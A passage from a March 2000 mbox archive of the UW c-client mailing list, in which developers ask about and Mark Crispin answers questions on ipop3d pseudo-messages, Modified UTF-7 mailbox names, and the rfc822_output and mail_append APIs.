(8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id OAA27338 for ; Fri, 17 Mar 2000 14:00:27 -0800 (PST) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id OAA20668; Fri, 17 Mar 2000 14:00:25 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id NAA06423; Fri, 17 Mar 2000 13:58:55 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id NAA14044 for ; Fri, 17 Mar 2000 13:58:02 -0800 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.5]) by mxu1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id NAA13805 for ; Fri, 17 Mar 2000 13:57:57 -0800 Received: from mailhost2.u.washington.edu (mailhost2.u.washington.edu [140.142.33.2]) by mxout1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id NAA32460; Fri, 17 Mar 2000 13:57:56 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (koma@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mailhost2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW00.01) with ESMTP id NAA25803; Fri, 17 Mar 2000 13:57:56 -0800 Message-Id: Date: Fri, 17 Mar 2000 13:56:34 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Vadim Zeitlin Cc: c-client@u.washington.edu Subject: Re: "pseudo messages" from ipop3d In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Fri, 17 Mar 2000 13:19:56 +0100 (CET), Vadim Zeitlin wrote: > On 16-Mar-00 Yiorgos Adamopoulos wrote: > > You fail to understand, that for the UNIX MAILBOX FORMAT and > > interoperability with clients like elm, mutt, mail, mailx it is the only > > decision. > Sorry, but could you explain this (yet) a bit more? mail(x) doesn't > create nor uses such messages AFAIK, so how can this be possible? The answer to your specific question is: mailx does not use UIDs. However, there needs to be a way to prevent mailx from damaging UID information. The pseudo-message, *if* the user obeys the instructions and does not delete it, serves that purpose. From pinedev@shivax2.cac.washington.edu Sun Mar 19 06:29:29 2000 -0800 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Sun, 19 Mar 2000 06:29:29 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id GAA24237 for ; Sun, 19 Mar 2000 06:29:28 -0800 (PST) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id GAA30105; Sun, 19 Mar 2000 06:29:23 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id GAA09146; Sun, 19 Mar 2000 06:28:18 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id GAA49552 for ; Sun, 19 Mar 2000 06:25:55 -0800 Received: from rmail2.hanmir.com (rmail2.hanmir.com [128.134.130.162]) by mxu3.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id GAA14001 for ; Sun, 19 Mar 2000 06:25:49 -0800 Received: (from nobody@localhost) by rmail2.hanmir.com (8.9.3/8.9.3) id XAA25711; Sun, 19 Mar 2000 23:23:37 +0900 (KST) Message-Id: <200003191423.XAA25711@rmail2.hanmir.com> Date: Sun, 19 Mar 2000 23:23:37 +0900 (KST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Kwangyeon Bae" To: c-client@u.washington.edu, c-client@u.washington.edu Subject: Mailbox International Naming Question ? Content-Type: text/plain; charset=euc-kr Content-Transfer-Encoding: 8bit X-IP: 210.220.202.55 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hello! We are planning to make IMAP client using C-Client Library. In RFC2060, Internation Mailbox Naming requests using modified version of the UTF-7 encoding scheme. But we can't find related source code to that scheme in C-Client Library. Where can I find source code or document about that scheme ? Any comments will be appreciated... Bae. -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Sun Mar 19 08:42:41 2000 -0800 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Sun, 19 Mar 2000 08:42:41 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id IAA31176 for ; Sun, 19 Mar 2000 08:42:40 -0800 (PST) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id IAA17879; Sun, 19 Mar 2000 08:42:37 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id IAA11001; Sun, 19 Mar 2000 08:41:58 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id IAA45560 for ; Sun, 19 Mar 2000 08:41:09 -0800 Received: from guiness.netcomsa.com ([216.72.122.3]) by mxu2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id IAA18097 for ; Sun, 19 Mar 2000 08:41:05 -0800 Received: from localhost (mike@localhost) by guiness.netcomsa.com (8.8.8/8.8.8) with ESMTP id KAA24098 for ; Sun, 19 Mar 2000 10:52:13 -0600 Message-Id: Date: Sun, 19 Mar 2000 10:52:12 -0600 (CST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mike Trank To: c-client@u.washington.edu Subject: rfc822_output MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN In order to do a mail_append of a message that I have constructed in an ENVELOPE and a BODY, I need to get the message into a STRING structure. To do that I am using "rfc822_output" which has as a parameter a pinter to a funtion that must be like this: long myfunction(void *mystream, char *mymsg); and another parameter which is a stream that will get passed to myfunction along with the message data. Since I just want to get the data that rfc822_output will construct, can I make my own function that ignores the first parameter ( the stream parameter) and just does something with the data, and then specify NIL in the rfc822_output function, like this: long myfunction(void *mystream; char *mymsg) { /* forget about the stream parameter... it got passed NIL */ STRING *mystring; mail_string_init(mystring, mymsg, strlen(mymsg)); mail_append(NIL, "/home/mike/Mail/outbox", mystring); return(T); } rfc822_output(&scratch[0], msgenv, msgbody, myfunction, NIL, NIL); Does that make sense? -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Sun Mar 19 09:00:19 2000 -0800 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Sun, 19 Mar 2000 09:00:18 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id JAA16931 for ; Sun, 19 Mar 2000 09:00:17 -0800 (PST) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id JAA32275; Sun, 19 Mar 2000 09:00:14 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id IAA25854; Sun, 19 Mar 2000 08:59:30 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id IAA39756 for ; Sun, 19 Mar 2000 08:59:02 -0800 Received: from guiness.netcomsa.com ([216.72.122.3]) by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id IAA19682 for ; Sun, 19 Mar 2000 08:58:56 -0800 Received: from localhost (mike@localhost) by guiness.netcomsa.com (8.8.8/8.8.8) with ESMTP id LAA24274 for ; Sun, 19 Mar 2000 11:10:04 -0600 Message-Id: Date: Sun, 19 Mar 2000 11:10:03 -0600 (CST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mike Trank To: c-client@u.washington.edu Subject: mail_append MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN and one other question[B the doc says long mail_append(MAILSTREAM *stream, char *mailbox, STRING *message) where stream is "stream to use if non-NIL ( in the IMAP case )" which means that if "stream" is NIL, then "mailbox" should have the directory and path of a disk file, am I right? what if "stream" is an already opened imap stream ( or pop3 or whatever for that matter)? .... should "mailbox" then be NIL? -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Sun Mar 19 12:22:16 2000 -0800 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Sun, 19 Mar 2000 12:22:16 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id MAA26382 for ; Sun, 19 Mar 2000 12:22:15 -0800 (PST) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id MAA21345; Sun, 19 Mar 2000 12:22:13 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id MAA14988; Sun, 19 Mar 2000 12:21:27 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id MAA51112 for ; Sun, 19 Mar 2000 12:20:53 -0800 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mxu3.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id MAA32183 for ; Sun, 19 Mar 2000 12:20:52 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (mel@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id MAA21325 for ; Sun, 19 Mar 2000 12:20:52 -0800 Message-Id: Date: Sun, 19 Mar 2000 12:05:03 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Kwangyeon Bae Cc: c-client Interest List Subject: re: Mailbox International Naming Question ? In-Reply-To: <200003191423.XAA25711@rmail2.hanmir.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Sun, 19 Mar 2000 23:23:37 +0900 (KST), Kwangyeon Bae wrote: > In RFC2060, Internation Mailbox Naming requests using > modified version of the UTF-7 encoding scheme. But we can't > find related source code to that scheme in C-Client Library. > Where can I find source code or document about that scheme ? The Modified UTF-7 convention is implemented by the application program that uses the c-client API. The only thing that c-client does is enforce correct syntax of Modified UTF-7 names. Since you seem to be in Korea, here is how you would implement this in your application program. To create a mailbox with a Korean name: Accept the mailbox name from the user. If it is in KSC code, convert it to Unicode. Then encode the Unicode string into Modified UTF-7. To display an existing mailbox name: Decode the Modified UTF-7 name into Unicode. If your system only supports KSC code and does not support Unicode, then convert from Unicode into KSC code. c-client has a routine that will convert from KSC code in EUC encoding to Unicode with UTF-8 encoding: SIZEDTEXT source,dest; source.data = <> source.size = <> utf8_text (&source,"EUC-KR",&dest,0); <> The routine which actually does the work is utf8_text_dbyte(). You may want to use this routine as a model for writing a routine to generate mailbox names in Modified UTF-7 instead of UTF-8. I don't provide any routines to convert from Unicode to KSC. It's a difficult problem, since Unicode has many characters that aren't in KSC. For example, suppose you get a Korean text that uses a hanja from China or Japan, but is not used in Korean. How do you display it? It is much easier if your application is written to use Unicode internally, so you only worry about generating KSC text in outgoing mail. For reading mail, just convert everything to Unicode. You can do this easily under Windows; it is harder to do this with UNIX. From pinedev@shivax2.cac.washington.edu Sun Mar 19 12:37:15 2000 -0800 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Sun, 19 Mar 2000 12:37:15 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id MAA19841 for ; Sun, 19 Mar 2000 12:37:14 -0800 (PST) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id MAA21563; Sun, 19 Mar 2000 12:37:12 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id MAA15306; Sun, 19 Mar 2000 12:36:27 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id MAA42736 for ; Sun, 19 Mar 2000 12:35:56 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (satori@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu3.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id MAA00500 for ; Sun, 19 Mar 2000 12:35:56 -0800 Message-Id: Date: Sun, 19 Mar 2000 12:23:15 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Mike Trank Cc: c-client@u.washington.edu Subject: re: rfc822_output In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Sun, 19 Mar 2000 10:52:12 -0600 (CST), Mike Trank wrote: > Since I just want to get the data that rfc822_output will construct, can I > make my own function that ignores the first parameter ( the stream > parameter) and just does something with the data Unfortunately, your idea won't work. The problem is that the soutr_t function is called multiple times: for the header, for each body part, and for the final CRLF. Consequently your idea of having the soutr_t function call mail_append() would end up calling mail_append() for each of these calls separately. What you need to do is collect the data in the successive soutr_t function calls. After rfc822_output() returns, you can then call mail_append() on the result. This is where the stream argument becomes useful. As you may have noticed, it's a void* so it can be anything. The easiest thing would be to open a temporary file via tmpfile() and pass the FILE* as the stream argument to rfc822_output(). Your soutr_t function would then be just something that writes the supplied data to the FILE*. When rfc822_output() returns, you can then rewind() the FILE*, and use the file stringstruct via INIT (mystring,file_string,file,size); where file is the FILE * and size is the total number of bytes from the multiple soutr_t calls (so you need to keep track of that too). Never call a string driver's methods directly, e.g. you should never call mail_string_init(), file_string_init(), etc. Always use the supplied mail.h interface; in this case INIT(). There is no guarantee that calling a string driver's methods directly will work now, or in the future. I'm probably going to start making these things static to prevent people from doing that, so please follow the rules. From pinedev@shivax2.cac.washington.edu Sun Mar 19 12:45:10 2000 -0800 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Sun, 19 Mar 2000 12:45:09 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id MAA25887 for ; Sun, 19 Mar 2000 12:45:08 -0800 (PST) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id MAA21680; Sun, 19 Mar 2000 12:45:06 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id MAA15335; Sun, 19 Mar 2000 12:44:30 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id MAA42582 for ; Sun, 19 Mar 2000 12:44:05 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (sdennis@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id MAA31238 for ; Sun, 19 Mar 2000 12:44:05 -0800 Message-Id: Date: Sun, 19 Mar 2000 12:39:32 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Mike Trank Cc: c-client@u.washington.edu Subject: re: mail_append In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Sun, 19 Mar 2000 11:10:03 -0600 (CST), Mike Trank wrote: > which means that if "stream" is NIL, then "mailbox" should have the > directory and path of a disk file, am I right? "mailbox" must ALWAYS have a destination mailbox name. If the destination mailbox name is an IMAP mailbox name, then a non-NIL stream indicates an open IMAP stream that will be used to do the APPEND operation. Otherwise, c-client will make a temporary IMAP stream, do the APPEND operation, and close the temporary stream. If you're doing more than one APPEND to the IMAP destination, or if you already have an IMAP connection open to that server, it is much faster to use an existing IMAP stream than to open and close temporary streams. > what if "stream" is an already opened imap stream ( or pop3 or whatever > for that matter)? .... should "mailbox" then be NIL? "mailbox" must NEVER be NIL. It is meaningless to attempt an append to a POP3 stream. The stream argument SHOULD be NIL for all cases except when: 1) the destination is an IMAP mailbox *and* 2) there is an open IMAP stream to the destination server (it doesn't matter if it is open on some other mailbox). From pinedev@shivax2.cac.washington.edu Mon Mar 20 02:17:26 2000 -0800 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Mon, 20 Mar 2000 02:17:26 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id CAA20682 for ; Mon, 20 Mar 2000 02:17:25 -0800 (PST) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id CAA02465; Mon, 20 Mar 2000 02:17:23 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id CAA26792; Mon, 20 Mar 2000 02:16:45 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id CAA49490 for ; Mon, 20 Mar 2000 02:15:35 -0800 Received: from richard.eu.org (dialup176.vln.takas.lt [212.59.14.184]) by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id CAA15220 for ; Mon, 20 Mar 2000 02:15:27 -0800 Received: (from rch@localhost) by richard.eu.org (8.10.0.Beta6/8.10.0.Beta6) id e2KAEar10074 for c-client@u.washington.edu; Mon, 20 Mar 2000 12:14:36 +0200 (EET) Message-Id: <20000320121436.B3403@richard.eu.org> Date: Mon, 20 Mar 2000 12:14:36 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: =?UTF-8?B?UmnEjWFyZGFzIMSMZXBhcw==?= To: c-client@u.washington.edu Subject: GETQUOTAROOT In-Reply-To: <20000320113406.A3403@richard.eu.org>; from rch@WriteMe.Com on Mon, Mar 20, 2000 at 11:34:06AM +0200 References: <200003061016.CAA21336@lists3.u.washington.edu> <20000306131728.E430@richard.eu.org> <20000320113406.A3403@richard.eu.org> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="CdrF4e02JqNVZeln" X-OS: FreeBSD 4.0-CURRENT i386 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN --CdrF4e02JqNVZeln Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: quoted-printable Hi ! =20 Is it possible to run GETQUOTAROOT with c-client somehow? =20 Thank you, Richard. --=20 Ri=C4=8Dardas =C4=8Cepas ~~ ~ --CdrF4e02JqNVZeln Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: PGPfreeware 5.0i for non-commercial use MessageID: +PBqYj2zRax9OFfE/uLxy8bvP67qFmkD iQA/AwUBONX6C7j15+7mW/OBEQJRkgCgnRA9KhrPJQvzPBbR4TfzRJApS9MAoNjt 9NzN2D25HlVkpneoaZ+hcAhB =qpan -----END PGP SIGNATURE----- --CdrF4e02JqNVZeln-- -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Mar 20 08:06:54 2000 -0800 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Mon, 20 Mar 2000 08:06:54 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id IAA09922 for ; Mon, 20 Mar 2000 08:06:52 -0800 (PST) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id IAA22602; Mon, 20 Mar 2000 08:06:50 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id IAA16189; Mon, 20 Mar 2000 08:05:27 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id IAA29648 for ; Mon, 20 Mar 2000 08:02:50 -0800 Received: from darkstar.spinfo.uni-koeln.de (IDENT:root@darkstar.spinfo.Uni-Koeln.DE [134.95.187.130]) by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id IAA06468 for ; Mon, 20 Mar 2000 08:02:49 -0800 Received: from mac.spinfo.uni-koeln.de (mac [134.95.187.136]) by darkstar.spinfo.uni-koeln.de (8.9.3/8.9.3) with ESMTP id RAA03741 for ; Mon, 20 Mar 2000 17:08:45 +0100 Message-Id: <700530.3162560565@mac.spinfo.uni-koeln.de> Date: Mon, 20 Mar 2000 17:02:45 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Sebastian Hagedorn To: c-client@u.washington.edu Subject: What's so different between ipop3d 6.50 and 7.64? MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Content-Disposition: inline X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi! I've been using the UW imapd for several years, but I have always used qpopper for POP. Now we have switched to a RedHat Linux system. Of course I've installed the most recent imapd immediately, but I'm having trouble with ipop3d. The version that comes with RedHat (not the most recent distribution) is version 6.50. It works fine. However, when I tried to replace it with version 7.64, which is part of IMAP-4.7a, I found that Netscape users couldn't access their mail via POP anymore. Further examination revealed that Netscape seems to use a different kind of authentication. For most users the logfile simply states "Login user=xxx...", whereas it states "Authenticated user xxx..." for people who access their mail with Netscape. As far as I can tell this other kind of authentication doesn't work if I substitute the new ipop3d for the old one. The logfile reads "ipop3d[xxx]: port 110 service init from ..." Two questions: why could that be? Should I bother with the new version at all? Thanks, Sebastian -- Sebastian Hagedorn -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Mar 20 23:15:01 2000 -0800 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Mon, 20 Mar 2000 23:15:01 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id XAA23540 for ; Mon, 20 Mar 2000 23:15:00 -0800 (PST) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id XAA05804; Mon, 20 Mar 2000 23:14:58 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id XAA05568; Mon, 20 Mar 2000 23:14:12 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id XAA45412 for ; Mon, 20 Mar 2000 23:12:24 -0800 Received: from phall.kdsoft.fi (phall.kdsoft.fi [194.215.189.78]) by mxu1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id XAA00987 for ; Mon, 20 Mar 2000 23:12:23 -0800 Received: from localhost (phall@localhost) by phall.kdsoft.fi (8.9.3/8.8.7) with ESMTP id JAA25844 for ; Tue, 21 Mar 2000 09:12:15 +0200 Message-Id: Date: Tue, 21 Mar 2000 09:12:15 +0200 (EET) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Patrik Hall To: c-client@u.washington.edu Subject: Imap woth support for linuxconf virtual domains MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I have patched imap to add support for the virtual domain functionality introduced with linuxconf, http://www.solucorp.qc.ca/linuxconf/ Latest patches has added support for IP-based domain name resolution in the same way as vpop3d bundled with linuxconf. An introduction to the concept can be found at http://phall.kdsoft.fi/~phall/vimap/vdomain.txt The patches can be found at http://phall.kdsoft.fi/~phall/vimap/ --- Patrik Hall - +358 50 500 4668 - ICQ# 13414838 -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Fri Mar 24 02:47:07 2000 -0800 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Fri, 24 Mar 2000 02:47:06 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id CAA18700 for ; Fri, 24 Mar 2000 02:47:04 -0800 (PST) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id CAA13733; Fri, 24 Mar 2000 02:47:01 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id CAA19886; Fri, 24 Mar 2000 02:46:25 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id CAA47602 for ; Fri, 24 Mar 2000 02:44:33 -0800 Received: from phy.hw.ac.uk (root@innpin.phy.hw.ac.uk [137.195.28.2]) by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id CAA00376 for ; Fri, 24 Mar 2000 02:44:32 -0800 Received: from pc166.phy.hw.ac.uk (matterhorn.phy.hw.ac.uk [137.195.29.249]) by phy.hw.ac.uk (8.8.8/8.8.8) with ESMTP id KAA22127 for ; Fri, 24 Mar 2000 10:44:29 GMT Message-Id: <200003241044.KAA22127@phy.hw.ac.uk> Date: Fri, 24 Mar 2000 10:53:28 +0000 (GMT) Reply-To: karsten@phy.hw.ac.uk Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: 